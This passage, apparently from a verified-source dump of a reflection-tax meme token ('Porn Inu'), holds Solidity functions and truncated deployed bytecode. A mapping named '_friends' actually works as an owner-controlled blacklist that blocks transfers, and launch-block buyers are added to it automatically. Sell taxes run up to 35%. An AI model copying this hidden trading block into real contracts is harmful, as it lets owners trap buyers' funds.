return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(uint256 tAmount, uint256 taxFee, uint256 TeamFee) private pure returns (uint256, uint256, uint256) {
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRate() private view returns(uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns(uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if(rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function addLiquidity() external onlyOwner() {
require(!tradingOpen,"trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()).createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
_maxBuyAmount = 5000000000 * 10**9;
_launchTime = block.timestamp;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
}
function openTrading() public onlyOwner {
tradingOpen = true;
buyLimitEnd = block.timestamp + (120 seconds);
launchBlock = block.number;
}
function setFriends(address[] memory friends) public onlyOwner {
for (uint i = 0; i < friends.length; i++) {
if (friends[i] != uniswapV2Pair && friends[i] != address(uniswapV2Router)) {
_friends[friends[i]] = true;
}
}
}
function delFriend(address notfriend) public onlyOwner {
_friends[notfriend] = false;
}
function isFriend(address ad) public view returns (bool) {
return _friends[ad];
}
function manualswap() external {
require(_msgSender() == _FeeAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _FeeAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setFeeRate(uint256 rate) external {
require(_msgSender() == _FeeAddress);
require(rate < 51, "Rate can't exceed 50%");
_feeRate = rate;
emit FeeRateUpdated(_feeRate);
}
function setCooldownEnabled(bool onoff) external onlyOwner() {
_cooldownEnabled = onoff;
emit CooldownEnabledUpdated(_cooldownEnabled);
}
function thisBalance() public view returns (uint) {
return balanceOf(address(this));
}
function cooldownEnabled() public view returns (bool) {
return _cooldownEnabled;
}
function timeToBuy(address buyer) public view returns (uint) {
return block.timestamp - trader[buyer].buyCD;
}
// might return outdated counter if more than 30 mins
function buyTax(address buyer) public view returns (uint) {
return ((5 - trader[buyer].buynumber).mul(2));
}
function sellTax(address ad) public view returns (uint) {
if(block.timestamp > trader[ad].lastBuy + (3 hours)) {
return 10;
} else if (block.timestamp > trader[ad].lastBuy + (1 hours)) {
return 15;
} else if (block.timestamp > trader[ad].lastBuy + (30 minutes)) {
return 20;
} else if (block.timestamp > trader[ad].lastBuy + (5 minutes)) {
return 25;
} else {
return 35;
}
}
function amountInPool() public view returns (uint) {
return balanceOf(uniswapV2Pair);
}
} | 0x6080604052600436106101855760003560e01c8063715018a6116100d1578063b8755fe21161008a578063db92dbb611610064578063db92dbb61461057d578063dc8867e6146105a8578063dd62ed3e146105d1578063e8078d941461060e5761018c565b8063b8755fe214610526578063c3c8cd801461054f578063c9567bf9146105665761018c565b8063715018a6146104145780638da5cb5b1461042b57806395101f901461045657806395d89b4114610493578063a9059cbb146104be578063a985ceef146104fb5761018c565b806345596e2e1161013e57806368125a1b1161011857806368125a1b1461034657806368a3a6a5146103835780636fc3eaec146103c057806370a08231146103d75761018c565b806345596e2e146102b75780635932ead1146102e05780635f641758146103095761018c565b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101f957806323b872dd1461022457806327f3a72a14610261578063313ce5671461028c5761018c565b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610625565b6040516101b39190613f5e565b60405180910390f35b3480156101c857600080fd5b506101e360048036038101906101de9190613a3b565b610662565b6040516101f09190613f43565b60405180910390f35b34801561020557600080fd5b5061020e610680565b60405161021b9190614140565b60405180910390f35b34801561023057600080fd5b5061024b600480360381019061024691906139ec565b610691565b6040516102589190613f43565b60405180910390f35b34801561026d57600080fd5b5061027661076a565b6040516102839190614140565b60405180910390f35b34801561029857600080fd5b506102a161077a565b6040516102ae91906141b5565b60405180910390f35b3480156102c357600080fd5b506102de60048036038101906102d99190613b0a565b610783565b005b3480156102ec57600080fd5b5061030760048036038101906103029190613ab8565b61086a565b005b34801561031557600080fd5b50610330600480360381019061032b919061395e565b61095f565b60405161033d9190614140565b60405180910390f35b34801561035257600080fd5b5061036d6004803603810190610368919061395e565b610aeb565b60405161037a9190613f43565b60405180910390f35b34801561038f57600080fd5b506103aa60048036038101906103a5919061395e565b610b41565b6040516103b79190614140565b60405180910390f35b3480156103cc57600080fd5b506103d5610b98565b005b3480156103e357600080fd5b506103fe60048036038101906103f9919061395e565b610c0a565b60405161040b9190614140565b60405180910390f35b34801561042057600080fd5b50610429610c5b565b005b34801561043757600080fd5b50610440610dae565b60405161044d9190613e75565b60405180910390f35b34801561046257600080fd5b5061047d6004803603810190610478919061395e565b610dd7565b60405161048a9190614140565b60405180910390f35b34801561049f57600080fd5b506104a8610e42565b6040516104b59190613f5e565b60405180910390f35b3480156104ca57600080fd5b506104e560048036038101906104e09190613a3b565b610e7f565b6040516104f29190613f43565b60405180910390f35b34801561050757600080fd5b50610510610e9d565b60405161051d9190613f43565b60405180910390f35b34801561053257600080fd5b5061054d60048036038101906105489190613a77565b610eb2565b005b34801561055b57600080fd5b50610564611134565b005b34801561057257600080fd5b5061057b6111ae565b005b34801561058957600080fd5b5061059261127a565b60405161059f9190614140565b60405180910390f35b3480156105b457600080fd5b506105cf60048036038101906105ca919061395e565b6112ac565b005b3480156105dd57600080fd5b506105f860048036038101906105f391906139b0565b61139c565b6040516106059190614140565b60405180910390f35b34801561061a57600080fd5b50610623611423565b005b60606040518060400160405280600881526020017f506f726e20496e75000000000000000000000000000000000000000000000000815250905090565b600061067661066f611935565b848461193d565b6001905092915050565b6000683635c9adc5dea00000905090565b600061069e848484611b08565b61075f846106aa611935565b61075a8560405180606001604052806028815260200161491760289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610710611935565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612bdd9092919063ffffffff16565b61193d565b600190509392505050565b600061077530610c0a565b905090565b60006009905090565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166107c4611935565b73ffffffffffffffffffffffffffffffffffffffff16146107e457600080fd5b60338110610827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161081e90614020565b60405180910390fd5b80600c819055507f208f1b468d3d61f0f085e975bd9d04367c930d599642faad06695229f3eadcd8600c5460405161085f9190614140565b60405180910390a150565b610872611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ff576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108f690614080565b60405180910390fd5b806015806101000a81548160ff0219169083151502179055507f0d63187a8abb5b4d1bb562e1163897386b0a88ee72e0799dd105bd0fd6f2870660158054906101000a900460ff166040516109549190613f43565b60405180910390a150565b6000612a30600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546109b19190614276565b4211156109c157600a9050610ae6565b610e10600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a119190614276565b421115610a2157600f9050610ae6565b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610a719190614276565b421115610a815760149050610ae6565b61012c600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060020154610ad19190614276565b421115610ae15760199050610ae6565b602390505b919050565b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050919050565b6000600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000015442610b919190614357565b9050919050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610bd9611935565b73ffffffffffffffffffffffffffffffffffffffff1614610bf957600080fd5b6000479050610c0781612c41565b50565b6000610c54600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612db8565b9050919050565b610c63611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790614080565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d9190614357565b612e2690919063ffffffff16565b9050919050565b60606040518060400160405280600681526020017f2050494e55200000000000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c611935565b8484611b08565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90614080565b60405180910390fd5b60005b815181101561113057601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610fc5577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff161415801561107f5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1682828151811061105e577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b1561111d576001600660008484815181106110c3577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b808061112890614456565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16611175611935565b73ffffffffffffffffffffffffffffffffffffffff161461119557600080fd5b60006111a030610c0a565b90506111ab81612ea1565b50565b6111b6611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611243576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161123a90614080565b60405180910390fd5b6001601560146101000a81548160ff02191690831515021790555060784261126b9190614276565b60178190555043601681905550565b60006112a7601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112b4611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611341576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161133890614080565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b61142b611935565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114b8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114af90614080565b60405180910390fd5b601560149054906101000a900460ff1615611508576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114ff90614100565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061159830601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea0000061193d565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b1580156115de57600080fd5b505afa1580156115f2573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116169190613987565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561167857600080fd5b505afa15801561168c573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116b09190613987565b6040518363ffffffff1660e01b81526004016116cd929190613e90565b602060405180830381600087803b1580156116e757600080fd5b505af11580156116fb573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061171f9190613987565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71947306117a830610c0a565b6000806117b3610dae565b426040518863ffffffff1660e01b81526004016117d596959493929190613ee2565b6060604051808303818588803b1580156117ee57600080fd5b505af1158015611802573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906118279190613b33565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b81526004016118df929190613eb9565b602060405180830381600087803b1580156118f957600080fd5b505af115801561190d573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119319190613ae1565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156119ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a4906140e0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611a1d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a1490613fc0565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611afb9190614140565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b78576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6f906140c0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611be8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bdf90613f80565b60405180910390fd5b60008111611c2b576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c22906140a0565b60405180910390fd5b611c33610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611ca15750611c71610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612b1a57600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611d4a5750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611d5357600080fd5b6001601654611d629190614276565b4311158015611d72575060105481145b15611f9157601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611e235750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e85576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f90565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611f315750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f8f576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661209e576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156121495750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561219f5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b1561272757601560149054906101000a900460ff166121f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121ea90614120565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546122439190614276565b421115612293576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561234b57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061233190614456565b91905055506005600a819055506005600b81905550612587565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561240357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906123e990614456565b91905055506004600a819055506004600b81905550612586565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156124bb57600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124a190614456565b91905055506003600a819055506003600b81905550612585565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561257357600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061255990614456565b91905055506002600a819055506002600b81905550612584565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff1615612726574260175411156126d2576010548111156125fa57600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061267e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161267590613fe0565b60405180910390fd5b602d4261268b9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f426126df9190614276565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b600061273230610c0a565b9050601560169054906101000a900460ff1615801561279f5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127b75750601560149054906101000a900460ff165b15612b185760158054906101000a900460ff16156128545742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206001015410612853576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161284a90614040565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128aa9190614276565b4211156128ba57600a90506129e2565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461290a9190614276565b42111561291a57600f90506129e1565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461296a9190614276565b42111561297a57601490506129e0565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546129ca9190614276565b4211156129da57601990506129df565b602390505b5b5b5b612a09600a6129fb600484612e2690919063ffffffff16565b61319b90919063ffffffff16565b600a81905550612a36600a612a28600684612e2690919063ffffffff16565b61319b90919063ffffffff16565b600b819055506000821115612afd57612a976064612a89600c54612a7b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b821115612af357612af06064612ae2600c54612ad4601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612e2690919063ffffffff16565b61319b90919063ffffffff16565b91505b612afc82612ea1565b5b60004790506000811115612b1557612b1447612c41565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612bc15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612bcb57600090505b612bd7848484846131e5565b50505050565b6000838311158290612c25576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612c1c9190613f5e565b60405180910390fd5b5060008385612c349190614357565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9160028461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cbc573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d0d60048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d38573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d8960048461319b90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612db4573d6000803e3d6000fd5b5050565b6000600854821115612dff576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612df690613fa0565b60405180910390fd5b6000612e09613212565b9050612e1e818461319b90919063ffffffff16565b915050919050565b600080831415612e395760009050612e9b565b60008284612e4791906142fd565b9050828482612e5691906142cc565b14612e96576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e8d90614060565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612eff577f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b604051908082528060200260200182016040528015612f2d5781602001602082028036833780820191505090505b5090503081600081518110612f6b577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561300d57600080fd5b505afa158015613021573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906130459190613987565b8160018151811061307f577f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506130e630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461193d565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b815260040161314a95949392919061415b565b600060405180830381600087803b15801561316457600080fd5b505af1158015613178573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006131dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061323d565b905092915050565b806131f3576131f26132a0565b5b6131fe8484846132e3565b8061320c5761320b6134ae565b5b50505050565b600080600061321f6134c2565b91509150613236818361319b90919063ffffffff16565b9250505090565b60008083118290613284576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161327b9190613f5e565b60405180910390fd5b506000838561329391906142cc565b9050809150509392505050565b6000600a541480156132b457506000600b54145b156132be576132e1565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b6000806000806000806132f587613524565b95509550955095509550955061335386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461358c90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506133e885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061343481613634565b61343e84836136f1565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161349b9190614140565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea0000090506134f8683635c9adc5dea0000060085461319b90919063ffffffff16565b82101561351757600854683635c9adc5dea00000935093505050613520565b81819350935050505b9091565b60008060008060008060008060006135418a600a54600b5461372b565b9250925092506000613551613212565b905060008060006135648e8787876137c1565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006135ce83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612bdd565b905092915050565b60008082846135e59190614276565b90508381101561362a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161362190614000565b60405180910390fd5b8091505092915050565b600061363e613212565b905060006136558284612e2690919063ffffffff16565b90506136a981600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546135d690919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b6137068260085461358c90919063ffffffff16565b600881905550613721816009546135d690919063ffffffff16565b6009819055505050565b6000806000806137576064613749888a612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137816064613773888b612e2690919063ffffffff16565b61319b90919063ffffffff16565b905060006137aa8261379c858c61358c90919063ffffffff16565b61358c90919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806137da8589612e2690919063ffffffff16565b905060006137f18689612e2690919063ffffffff16565b905060006138088789612e2690919063ffffffff16565b905060006138318261382385876